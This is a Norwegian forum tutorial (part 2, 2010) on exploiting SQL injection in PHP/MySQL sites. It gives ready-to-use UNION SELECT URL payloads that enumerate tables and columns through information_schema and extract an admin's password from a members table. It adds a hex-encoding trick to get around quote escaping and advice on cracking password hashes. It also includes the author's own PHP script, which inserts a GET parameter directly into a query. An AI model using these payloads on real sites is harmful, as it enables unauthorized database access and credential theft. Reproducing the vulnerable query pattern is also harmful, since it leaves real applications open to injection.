Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  0 1341
Les DEL 1

Ja så var det det å finne tabell og kolonne navn. I mysql 5 følger det med en informasjonsdatabase som heter information_schema. Denne inneholder alle tabell, kolonnenavn og en rekke annen informasjon. Dersom man har tilgang til denne, vil man kunne hente ut alle tabell- og kolonnenavn i databasen man er koblet til.

Så vi har en fungerende injeksjon her:

Kode

SELECT fornavn, etternavn, lastlogin FROM medlemmer WHERE id=$id
Og denne kan utnyttes slik:

Kode

index.php?id=-1 UNION ALL SELECT 1,2,3-- -
Om du ikke husker det, så betyr -- - at alt etter denne er en kommentar.

Hvordan finne navnet på medlemstabellen?
Først kan du jo gjette/bruteforce deg fram til riktige tabellnavn. Det gjør du slik:

Kode

index.php?id=-1 UNION ALL SELECT 1,2,3 FROM medlemmer-- -
index.php?id=-1 UNION ALL SELECT 1,2,3 FROM medlem-- -
index.php?id=-1 UNION ALL SELECT 1,2,3 FROM users-- -
index.php?id=-1 UNION ALL SELECT 1,2,3 FROM members-- -
index.php?id=-1 UNION ALL SELECT 1,2,3 FROM users-- -
Slik holder du på til du ikke får error lenger.

Dersom tabellnavnet er ikke noe gjettbart må vi søke igjenn databasen information_schema.

Denne vil hente ut første tabell i information_schema databasen:

Kode

index.php?id=-1 UNION ALL SELECT 1,table_name,3 FROM information_schema.tables-- -
information_schema.tables betyr tabellen "tables" i databasen information_schema.

Da vil du mest sansynlig få ut en tabell ved navn "CHARACTER_SETS" som er den første tabellen i hele mysql serveren tror jeg. Det er den første tabellen i information_schema databasen faktisk.

Det vi ønsker nå, er å bla videre nedover. Dette kan gjøres med en sql kommandoen LIMIT.

Et eksempel på LIMIT:

Kode

SELECT * FROM 'your_table' LIMIT 0, 10
Vil hente ut de 10 første resultatene.

Kode

SELECT * FROM `your_table` LIMIT 5, 5
Vil hente ut oppføring nummer 6,7,8,9 og 10.

Så for å bla videre i tabellnavnene gjør du slik:

Kode

index.php?id=-1 UNION ALL SELECT 1,table_name,3 FROM information_schema.tables LIMIT 0,1-- -
index.php?id=-1 UNION ALL SELECT 1,table_name,3 FROM information_schema.tables LIMIT 1,1-- -
index.php?id=-1 UNION ALL SELECT 1,table_name,3 FROM information_schema.tables LIMIT 2,1-- -
Slik blar du helt til du finner noen interessante tabellnavn. Og du finner til slutt medlemstabellen som heter f.eks. "test_medlemmer".

Hvordan finne kolonnenavn?
Også disse fins i information_schema databasen. Men denne gangen ligger navnene i "information_schema.columns".

Bruk samme fremgangsmåte på denne måten:

Kode

index.php?id=-1 union all select 1,column_name,3 from information_schema.columns where table_name='test_medlemmer' LIMIT 0,1-- -
index.php?id=-1 union all select 1,column_name,3 from information_schema.columns where table_name='test_medlemmer' LIMIT 1,1-- -
index.php?id=-1 union all select 1,column_name,3 from information_schema.columns where table_name='test_medlemmer' LIMIT 2,1-- -
Og til slutt når du har funnet ut at tabellnavnet er "test_medlemmer" og kolonnenavnet er "passord", kan du hente ut passordet til admin slik:

Kode

index.php?id=-1 union all select 1,passord,3 from test_medlemmer-- -
Dersom du vil ha brukernavnet til en spesiell bruker, kan du gjøre slik:

Kode

index.php?id=-1 union all select 1,passord,3 from test_medlemmer WHERE brukernavn='nooben'-- -
Hva om passordet er kryptert?
Noen ganger er passordene hashet. D.v.s. de er ikke kryptert som det står i tittelen, de hashing er en enveis kryptering. Da må det bruteforces med rå maskinkraft. Cain er et program som klarer dette.

Fins ikke passordet i en ordbok og passordet ok langt, tar det mange uker og måneder og knekke hashen vidt meg bekjent. ( kan lite om md5 knekking btw).

Hva om det er brukt en salt i passodet?
Ofte legges det til en salt slik: $md5 = md5($passord + "salt123"); da er det ganske greit umulig å finne ut hva det opprinnelige passordet egentlig var.

Med mindre det fins en slags "husk meg" funksjon, der det md5'ede passordet i cookie gjenkjenner deg.

Hva om enkle apostrofer ikke funker pga magoc_quotes?
Dersom du ikke kan bruke quotes/enkle apostrofer kan dette unngåes.

Kode

index.php?id=-1 or 1=1 union all select 1,passord,3 from users where user='admin'-- -
Kan skrives om til:

Kode

index.php?id=-1 or 1=1 union all select 1,passord,3 from users where user=0x61646d696e-- -
Fin funksjon for å "encode" her: http://wocares.com/noquote.php

Video av hvordan dette her funker

http://www.youtube.com/watch?v=N0Gd1YIYOFo ( ikke ferdig prosessert i skrivende stund)

Her er koden til scriptet mitt:

Kode

$id = $_GET['id'];

$sql = "SELECT * FROM medlemmer WHERE id='$id' ";


$result = mysql_query($sql);

$row = mysql_fetch_array($result);

echo "Brukernavn:  " . $row['user'];
Noen sluttord
Dersom du ikke forstår hva alt sammen betyr, er det fordi du ikke kan å skrive php koder, og du kan ikke sql kode. Dette kan læres, og er svært nyttig hvis du har lyst til å lage scripts/nettsider. Fint nettsted å lære: http://www.w3schools.com/

Vær snill og grei, ikke plag andre, forøvrig kan du gjøre hva du vil.
Sist endret av melktrollet; 3. mars 2010 kl. 19:05.